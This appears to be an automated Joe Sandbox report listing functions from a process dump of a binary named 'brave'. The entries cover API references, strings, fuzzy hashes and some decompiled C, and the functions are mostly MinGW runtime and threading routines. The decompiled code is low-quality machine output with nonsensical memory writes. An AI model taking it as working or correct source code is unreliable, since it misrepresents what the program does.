Function 00007FF77BEEF750 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 60synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 00007FF77BEEF761
WaitForSingleObject.KERNEL32 ref: 00007FF77BEEF772
FindAtomA.KERNEL32 ref: 00007FF77BEEF7DF
ReleaseMutex.KERNEL32 ref: 00007FF77BEEF7ED
CloseHandle.KERNEL32 ref: 00007FF77BEEF7F6
CloseHandle.KERNEL32 ref: 00007FF77BEEF817

Strings

failed to to lock cleanup mutex, xrefs: 00007FF77BEEF808

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: CloseHandleMutex$AtomCreateFindObjectReleaseSingleWait
String ID: failed to to lock cleanup mutex
API String ID: 3776795807-674698732
Opcode ID: 71f342f9f933a52b181f13a2de0319036eade7889627a245c740d797601e7c04
Instruction ID: cb6454f51625572e6cc5796761aa36ca17b5058edc59cd5657ebf0a6aabe6657
Opcode Fuzzy Hash: 71f342f9f933a52b181f13a2de0319036eade7889627a245c740d797601e7c04
Instruction Fuzzy Hash: 51214FA7A39A0381FF54BB95E81417CA2A1BF48B81FC89575C80D577B4EE7CE481C360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BF01DD0 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF77BF01DE1
GetProcAddress.KERNEL32 ref: 00007FF77BF01DF8
LoadLibraryW.KERNEL32 ref: 00007FF77BF01E1F
GetProcAddress.KERNEL32 ref: 00007FF77BF01E2F

Strings

advapi32.dll, xrefs: 00007FF77BF01E18
msvcrt.dll, xrefs: 00007FF77BF01DDA
rand_s, xrefs: 00007FF77BF01DEE
SystemFunction036, xrefs: 00007FF77BF01E25

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: SystemFunction036$advapi32.dll$msvcrt.dll$rand_s
API String ID: 384173800-4041758303
Opcode ID: 4f62b90e336705d4da321a7fa2fb84c276bc2db0b258b9504fce3f42ee99db90
Instruction ID: d39d540c6727aa400763a48ae8e931c192068fb6e20f238185d4f30ca1797acf
Opcode Fuzzy Hash: 4f62b90e336705d4da321a7fa2fb84c276bc2db0b258b9504fce3f42ee99db90
Instruction Fuzzy Hash: FAF0A4B2A3AA83D1EB45AB55FC540B8A2A5BF0D790BC80175D80D52368EE2CA555C370

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BF0DEF0 Relevance: 13.7, APIs: 8, Strings: 1, Instructions: 196COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF77BF0DF96
memcpy.MSVCRT ref: 00007FF77BF0DFC1
memcpy.MSVCRT ref: 00007FF77BF0E030
memcpy.MSVCRT ref: 00007FF77BF0E06E
memcpy.MSVCRT ref: 00007FF77BF0E0BF

Strings

basic_string::_M_replace, xrefs: 00007FF77BF0E1DE

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: memcpy
String ID: basic_string::_M_replace
API String ID: 3510742995-2323331477
Opcode ID: 83352c911b5e7a670d2c16afee725c69e32d097fda13c06022162402ec47247e
Instruction ID: 32d7a2d72edcf33f3beab8cbc8d937bdb4673d60b25a1779ea7460b5eb91c64e
Opcode Fuzzy Hash: 83352c911b5e7a670d2c16afee725c69e32d097fda13c06022162402ec47247e
Instruction Fuzzy Hash: AC71DF77E39ADA91EA20EB1994042B9E654EB04F84FC48532EE1D477F8EE3CE541C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BF0AE20 Relevance: 13.7, APIs: 8, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF77BF0AEC5
memcpy.MSVCRT ref: 00007FF77BF0AEF0
memcpy.MSVCRT ref: 00007FF77BF0AF59
memcpy.MSVCRT ref: 00007FF77BF0AF8D
memcpy.MSVCRT ref: 00007FF77BF0AFD9

Strings

basic_string::_M_replace, xrefs: 00007FF77BF0B0E1

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: memcpy
String ID: basic_string::_M_replace
API String ID: 3510742995-2323331477
Opcode ID: 6e4ccbe5bf110cb7a92f3fabf76553f9e581279dc44f1e42f5d797bc024edc43
Instruction ID: 8a0a40271ae75dc6b4eb2215067e0a7d5a26e8e0310bbb81fbfe721c1e16fe74
Opcode Fuzzy Hash: 6e4ccbe5bf110cb7a92f3fabf76553f9e581279dc44f1e42f5d797bc024edc43
Instruction Fuzzy Hash: DE61C573A3AAD685E921AA2D84042B8EA549B12FD0FC84532EE6C177FADD3DD5418330

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEF5AE0 Relevance: 13.7, APIs: 9, Instructions: 182
threadinjectionsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00007FF77FF77BEF5AE0(void* __ecx, void* __edi, void* __rax, void* __rcx) {
				char _v1272;
				signed char _t17;
				void* _t33;
				void* _t34;
				void* _t40;
				intOrPtr _t50;
				void* _t51;
				intOrPtr* _t52;

				_t33 = __rax;
				_t51 = __rcx;
				E00007FF77FF77BEF3190(__edi, __rcx);
				_t40 = _t33;
				if (_t33 == 0) goto 0x7bef5bce;
				_t34 =  *((intOrPtr*)(_t33 + 0x28)) - 1;
				if (_t34 - 0xfffffffd > 0) goto 0x7bef5bce;
				GetHandleInformation(??, ??);
				if (_t34 == 0) goto 0x7bef5bce;
				_t4 = _t40 + 0x38; // 0x38
				E00007FF77FF77BEF04E0(_t4);
				_t17 = E00007FF77FF77BEF2D40(__ecx,  &_v1272);
				if (_t34 == 0) goto 0x7bef5d20;
				if (_t51 ==  *((intOrPtr*)(_t34 + 0x1d8))) goto 0x7bef5ca0;
				if (( *(_t40 + 0x44) & 0x00000003) == 3) goto 0x7bef5be8;
				if ((_t17 & 0x00000003) != 0) goto 0x7bef5bc0;
				_t52 =  *0x7c196920; // 0x7ff77c1a1400
				_t50 =  *_t52;
				 *(_t40 + 0x40) = _t17;
				if (_t50 == 0) goto 0x7bef5d50;
				if ( *((long long*)(_t50 + 0x18)) == 0) goto 0x7bef5d30;
				asm("lock add dword [eax], 0x1");
				if ( *((intOrPtr*)(_t40 + 0x30)) == 0) goto 0x7bef5ba8;
				SetEvent(??);
				return E00007FF77FF77BEF0800(_t4);
			}

0x7ff77bef5ae0
0x7ff77bef5aed
0x7ff77bef5af0
0x7ff77bef5af5
0x7ff77bef5afb
0x7ff77bef5b05
0x7ff77bef5b0d
0x7ff77bef5b1b
0x7ff77bef5b23
0x7ff77bef5b29
0x7ff77bef5b30
0x7ff77bef5b35
0x7ff77bef5b3d
0x7ff77bef5b51
0x7ff77bef5b60
0x7ff77bef5b68
0x7ff77bef5b6a
0x7ff77bef5b77
0x7ff77bef5b7a
0x7ff77bef5b80
0x7ff77bef5b8b
0x7ff77bef5b95
0x7ff77bef5ba0
0x7ff77bef5ba2
0x7ff77bef5bbf

APIs

GetHandleInformation.KERNEL32 ref: 00007FF77BEF5B1B

Part of subcall function 00007FF77BEF2D40: TlsGetValue.KERNEL32 ref: 00007FF77BEF2DA0

SetEvent.KERNEL32 ref: 00007FF77BEF5BA2
SuspendThread.KERNEL32 ref: 00007FF77BEF5BFC
WaitForSingleObject.KERNEL32 ref: 00007FF77BEF5C08
GetThreadContext.KERNEL32 ref: 00007FF77BEF5C1C
SetThreadContext.KERNEL32 ref: 00007FF77BEF5C38
SetEvent.KERNEL32 ref: 00007FF77BEF5C7E
ResumeThread.KERNEL32 ref: 00007FF77BEF5C90
SetEvent.KERNEL32 ref: 00007FF77BEF5CE3

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: Thread$Event$Context$HandleInformationObjectResumeSingleSuspendValueWait
String ID:
API String ID: 2335333592-0
Opcode ID: c0454334065818ad910fe9271c82020997dc8f7e4f5c5ab4ac494b7568ff68ad
Instruction ID: 00cd4ea033d0c3f2bbd52f75ba89c8bd180d5701d8b1f2b6b7be5f9929925b17
Opcode Fuzzy Hash: c0454334065818ad910fe9271c82020997dc8f7e4f5c5ab4ac494b7568ff68ad
Instruction Fuzzy Hash: 54819F73A3960289EBA5AB299404379A7A0FF64B94FD44131DD1D073A9DFBCF984C360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BF07980 Relevance: 13.7, APIs: 6, Strings: 3, Instructions: 177
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E00007FF77FF77BF07980(intOrPtr* __rcx, void* __rdx) {
				void* _t12;

				_t12 = __rdx;
				if (__rdx - 0xfffffff9 > 0) goto 0x7bf079ef;
				E00007FF77FF77BF08580(__rcx, 0,  *((intOrPtr*)( *__rcx - 0x18)), __rdx);
				if (_t12 == 0) goto 0x7bf079cc;
				if (_t12 == 1) goto 0x7bf079e0;
				return memset(??, ??, ??);
			}

0x7ff77bf07995
0x7ff77bf079a5
0x7ff77bf079ac
0x7ff77bf079b4
0x7ff77bf079be
0x7ff77bf079d7

APIs

memset.MSVCRT ref: 00007FF77BF079C7
memcpy.MSVCRT ref: 00007FF77BF07BB9

Part of subcall function 00007FF77BF08580: memcpy.MSVCRT ref: 00007FF77BF085FB

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF77BF07CB9
basic_string::_M_replace_aux, xrefs: 00007FF77BF079EF
basic_string::insert, xrefs: 00007FF77BF07CA3, 00007FF77BF07CB2

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: memcpy$memset
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_M_replace_aux$basic_string::insert
API String ID: 438689982-1339558951
Opcode ID: 2aa7705d7efa051678438d68cb09cc562f26b0b831d3bb896a7316ff393a9a71
Instruction ID: e0ca6f4bff7f3ab99b650c7c9266b7a1c3bc908512f79cbcaf906e89ce366bca
Opcode Fuzzy Hash: 2aa7705d7efa051678438d68cb09cc562f26b0b831d3bb896a7316ff393a9a71
Instruction Fuzzy Hash: D151D3B3A396D681EA117A6E98000F8D650AB05FD4FD885B2DE1C573BEDD2CE581C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEF91C0 Relevance: 13.6, APIs: 9, Instructions: 129COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF77BEF9120: EnterCriticalSection.KERNEL32(?,?,?,?,00007FF77BEF9749), ref: 00007FF77BEF9146
Part of subcall function 00007FF77BEF9120: LeaveCriticalSection.KERNEL32(?,00007FF77BEF9749,?,?,?,?,?,?,?,?,?,?,?,00007FF77C1A1400,?), ref: 00007FF77BEF916B

TryEnterCriticalSection.KERNEL32 ref: 00007FF77BEF9233
CloseHandle.KERNEL32 ref: 00007FF77BEF927F
CloseHandle.KERNEL32 ref: 00007FF77BEF9289
LeaveCriticalSection.KERNEL32 ref: 00007FF77BEF928E
DeleteCriticalSection.KERNEL32 ref: 00007FF77BEF929E
DeleteCriticalSection.KERNEL32 ref: 00007FF77BEF92A3
DeleteCriticalSection.KERNEL32 ref: 00007FF77BEF92AA
free.MSVCRT ref: 00007FF77BEF92AF
LeaveCriticalSection.KERNEL32 ref: 00007FF77BEF93B1

Part of subcall function 00007FF77BEF8880: EnterCriticalSection.KERNEL32 ref: 00007FF77BEF8898
Part of subcall function 00007FF77BEF8880: ReleaseSemaphore.KERNEL32 ref: 00007FF77BEF88C6
Part of subcall function 00007FF77BEF8880: LeaveCriticalSection.KERNEL32 ref: 00007FF77BEF88D3

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: CriticalSection$Leave$DeleteEnter$CloseHandle$ReleaseSemaphorefree
String ID:
API String ID: 897415695-0
Opcode ID: a0b6630a7d97047e0030e229e683856c82cc15d2976108efe7bffb770ea2e6fd
Instruction ID: 3c782f46aeca728ed2421e0bda36bfe8560561a4170e505277ffaa65f0dcd9cf
Opcode Fuzzy Hash: a0b6630a7d97047e0030e229e683856c82cc15d2976108efe7bffb770ea2e6fd
Instruction Fuzzy Hash: CF517036A39A4288FB90BB1AA8547BAA294BF84B94FC44131DD9D433E5CF7CF441D321

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEF8BA0 Relevance: 13.6, APIs: 9, Instructions: 81COMMON

Download Yara Rule

APIs

calloc.MSVCRT(?,00007FF77C1A1400,00000000,00007FF77BEF7B97,?,?,?,00007FF77BEF7CC5,?,?,?,?,00007FF77BEF7E65,?,00007FF77C1A1400), ref: 00007FF77BEF8BCC
CreateSemaphoreA.KERNEL32 ref: 00007FF77BEF8C0C
CreateSemaphoreA.KERNEL32 ref: 00007FF77BEF8C23
InitializeCriticalSection.KERNEL32(?,00007FF77C1A1400,00000000,00007FF77BEF7B97,?,?,?,00007FF77BEF7CC5,?,?,?,?,00007FF77BEF7E65,?,00007FF77C1A1400), ref: 00007FF77BEF8C4B
InitializeCriticalSection.KERNEL32(?,00007FF77C1A1400,00000000,00007FF77BEF7B97,?,?,?,00007FF77BEF7CC5,?,?,?,?,00007FF77BEF7E65,?,00007FF77C1A1400), ref: 00007FF77BEF8C52
InitializeCriticalSection.KERNEL32(?,00007FF77C1A1400,00000000,00007FF77BEF7B97,?,?,?,00007FF77BEF7CC5,?,?,?,?,00007FF77BEF7E65,?,00007FF77C1A1400), ref: 00007FF77BEF8C59

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: CriticalInitializeSection$CreateSemaphore$calloc
String ID:
API String ID: 2075313795-0
Opcode ID: 7c892f574ebb44d14683540b960821f729198a1c4daf112854c0d4a023215e6b
Instruction ID: 2902d5a8ec388caab67c90849fe85a8515a1243ecbb77bf85d4e850cb988d156
Opcode Fuzzy Hash: 7c892f574ebb44d14683540b960821f729198a1c4daf112854c0d4a023215e6b
Instruction Fuzzy Hash: 0221E173B3671289FB95EB29E81CB6A6694EF44394F894131CA1C573D4EE7CA881C311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEEE650 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 138
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E00007FF77FF77BEEE650(void* __ebx, long __rcx, void* __rdx, long long __r8, long long __r9, void* _a16, void* _a24, long long _a32) {
				void* _v32;
				void* _v108;
				void* _v144;
				void* _t28;
				signed char _t29;
				void* _t31;
				long _t33;
				void* _t35;
				void* _t36;
				intOrPtr _t42;
				unsigned long long _t45;
				unsigned long long _t46;
				intOrPtr _t48;
				intOrPtr* _t49;
				long long _t50;
				intOrPtr _t51;
				long long* _t52;
				intOrPtr _t53;
				void* _t55;
				signed long long _t56;
				signed long long _t58;
				unsigned long long _t63;
				intOrPtr _t71;
				struct _MEMORY_BASIC_INFORMATION* _t78;
				long long _t79;
				void* _t81;
				void* _t82;
				intOrPtr _t88;
				unsigned long long _t91;

				_t82 = _t81 - 0x38;
				_t45 = _t55;
				_a32 = __r8;
				 *((long long*)(_t82 + 0x68)) = __r9;
				 *(_t82 + 0x28) = _t45;
				_t29 = E00007FF77FF77BF01D50(_t28, _t35, _t45, 0x2);
				r8d = 0x1b;
				if (_t36 != 0) goto 0x7beee6b8;
				 *0x24548947FFFFFF8B =  *((intOrPtr*)(0x24548947ffffff8b)) + _t35;
				_t46 = _t45 >> 0x31;
				 *0x2 =  *0x2 ^ _t29;
				 *((intOrPtr*)(_t46 - 0x75)) =  *((intOrPtr*)(_t46 - 0x75)) + _t35;
				 *0x6115687FFFFFFEC =  *((intOrPtr*)(0x6115687ffffffec)) + _t35;
				_t63 = _t46;
				0x7bf01648();
				0x7bf01710();
				asm("o16 nop [eax+eax]");
				_t56 =  *0x7c1a10f4;
				_t91 = _t63;
				if (_t56 <= 0) goto 0x7beee7f0;
				_t48 =  *0x7c1a10f8; // 0x13dfbff730
				_t49 = _t48 + 0x18;
				asm("o16 nop [eax+eax]");
				_t71 =  *_t49;
				if (_t71 - _t91 > 0) goto 0x7beee70c;
				_t88 =  *((intOrPtr*)(_t49 + 8));
				r8d =  *((intOrPtr*)(_t88 + 8));
				if (_t91 - _t71 + _t88 < 0) goto 0x7beee793;
				_t50 = _t49 + 0x28;
				if (1 != _t56) goto 0x7beee6f0;
				_t31 = E00007FF77FF77BEEF3C0();
				_t79 = _t50;
				if (_t50 == 0) goto 0x7beee812;
				_t51 =  *0x7c1a10f8; // 0x13dfbff730
				_t58 = _t56 + _t56 * 4 << 3;
				_t52 = _t51 + _t58;
				 *((long long*)(_t52 + 0x20)) = _t79;
				 *_t52 = 0;
				E00007FF77FF77BEEF4F0(_t31, _t88);
				r8d = 0x30;
				_t53 =  *0x7c1a10f8; // 0x13dfbff730
				 *((long long*)(_t53 + _t58 + 0x18)) =  *((intOrPtr*)(_t79 + 0xc)) + _t52;
				_t33 = VirtualQuery(_t55, _t78, __rcx);
				_t42 = _t53;
				if (_t42 == 0) goto 0x7beee7f7;
				if (_t42 == 0) goto 0x7beee78c;
				if (_t42 != 0) goto 0x7beee7a0;
				 *0x7c1a10f4 =  *0x7c1a10f4 + 1;
				return _t33;
			}

0x7ff77beee653
0x7ff77beee668
0x7ff77beee669
0x7ff77beee66e
0x7ff77beee673
0x7ff77beee678
0x7ff77beee67d
0x7ff77beee68c
0x7ff77beee68e
0x7ff77beee691
0x7ff77beee694
0x7ff77beee696
0x7ff77beee6a5
0x7ff77beee6a9
0x7ff77beee6af
0x7ff77beee6b4
0x7ff77beee6ba
0x7ff77beee6c8
0x7ff77beee6cf
0x7ff77beee6d4
0x7ff77beee6da
0x7ff77beee6e3
0x7ff77beee6e7
0x7ff77beee6f0
0x7ff77beee6f6
0x7ff77beee6f8
0x7ff77beee6fc
0x7ff77beee706
0x7ff77beee70f
0x7ff77beee715
0x7ff77beee71a
0x7ff77beee71f
0x7ff77beee725
0x7ff77beee72b
0x7ff77beee736
0x7ff77beee73a
0x7ff77beee73d
0x7ff77beee741
0x7ff77beee747
0x7ff77beee754
0x7ff77beee75d
0x7ff77beee764
0x7ff77beee769
0x7ff77beee76f
0x7ff77beee772
0x7ff77beee782
0x7ff77beee78a
0x7ff77beee78c
0x7ff77beee79b

APIs

VirtualQuery.KERNEL32 ref: 00007FF77BEEE769

Strings

VirtualProtect failed with code 0x%x, xrefs: 00007FF77BEEE7DE
VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF77BEEE801
Address %p has no image-section, xrefs: 00007FF77BEEE6C0, 00007FF77BEEE815
Mingw-w64 runtime failure:, xrefs: 00007FF77BEEE688

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: QueryVirtual
